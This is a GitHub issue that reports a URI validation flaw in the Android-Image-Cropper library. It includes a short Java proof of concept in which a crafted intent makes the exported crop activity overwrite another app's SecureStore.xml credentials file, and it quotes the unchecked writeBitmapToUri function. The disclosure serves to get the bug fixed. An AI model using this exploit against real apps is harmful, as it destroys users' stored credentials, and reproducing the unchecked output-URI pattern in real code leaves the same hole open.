CanHub / Android-Image-Cropper

Image Cropping Library for Android, optimised for Camera / Gallery.
https://canhub.github.io/
Apache License 2.0
1.17k stars 240 forks source link

URI validation security issue #613

Open yn33 opened 5 months ago

yn33 commented 5 months ago

Exporting the CropImageActivity causes security risks which allow overwriting of files and file theft. There should be a warning about exporting the activity in the instructions.

There is no URI validation performed for customOutputUri in cropImageOptions. A malicious application can insert a URI and manipulate the file system. The file type is also not checked, so binary files can be inserted and potentially executed.

For example, the following code would overwrite the SecureStore.xml file, destroying the user's credentials. XML files would never be used in an image cropper so there is no reason for this to be possible. File theft can be done by inserting an external memory URI, if the application has external write permissions.

Even without exporting the component, this includes an unnecessary security risk. Activities can be launched by malicious intents and URI's manipulated in other conditions as well.

Bundle extras = new Bundle();
Uri.Builder builder = new Uri.Builder();
builder.scheme("file");
builder.authority(""); 
builder.path("/data/user/0/com.example/cache/DocumentPicker/646fe846-
40dd-47a0-9683-c5f799970d1f.jpeg");
Uri uri = builder.build();
extras.putParcelable("CROP_IMAGE_EXTRA_SOURCE", uri); 
builder.path("/data/user/0/com.example/shared_prefs/SecureStore.xml");
Uri uri2 = builder.build();
CropImageOptions opt = new CropImageOptions();
if(uri2 != null) {
 opt.customOutputUri = uri2;
}
extras.putParcelable("CROP_IMAGE_EXTRA_OPTIONS", opt);
Intent intent = new Intent();
intent.putExtra("CROP_IMAGE_EXTRA_BUNDLE", extras);
intent.setClassName("com.example","com.canhub.cropper.CropImageActivity"
);
mStartForResult.launch(intent)

The BitmapUtils class should evaluate whether the file extension matches the compressFormat (such as the one provided by buildUri). Overwriting files that already exist and writing in external memory should also ideally have security controls, but they are more difficult to implement without breaking functionality.

Currently the writeBitMapToUri does not conduct any checks:

fun writeBitmapToUri(
    context: Context,
    bitmap: Bitmap,
    compressFormat: CompressFormat,
    compressQuality: Int,
    customOutputUri: Uri?,
): Uri {
    val newUri = customOutputUri ?: buildUri(context, compressFormat)

    return context.contentResolver.openOutputStream(newUri, WRITE_AND_TRUNCATE).use {
        bitmap.compress(compressFormat, compressQuality, it)
        newUri
    }
}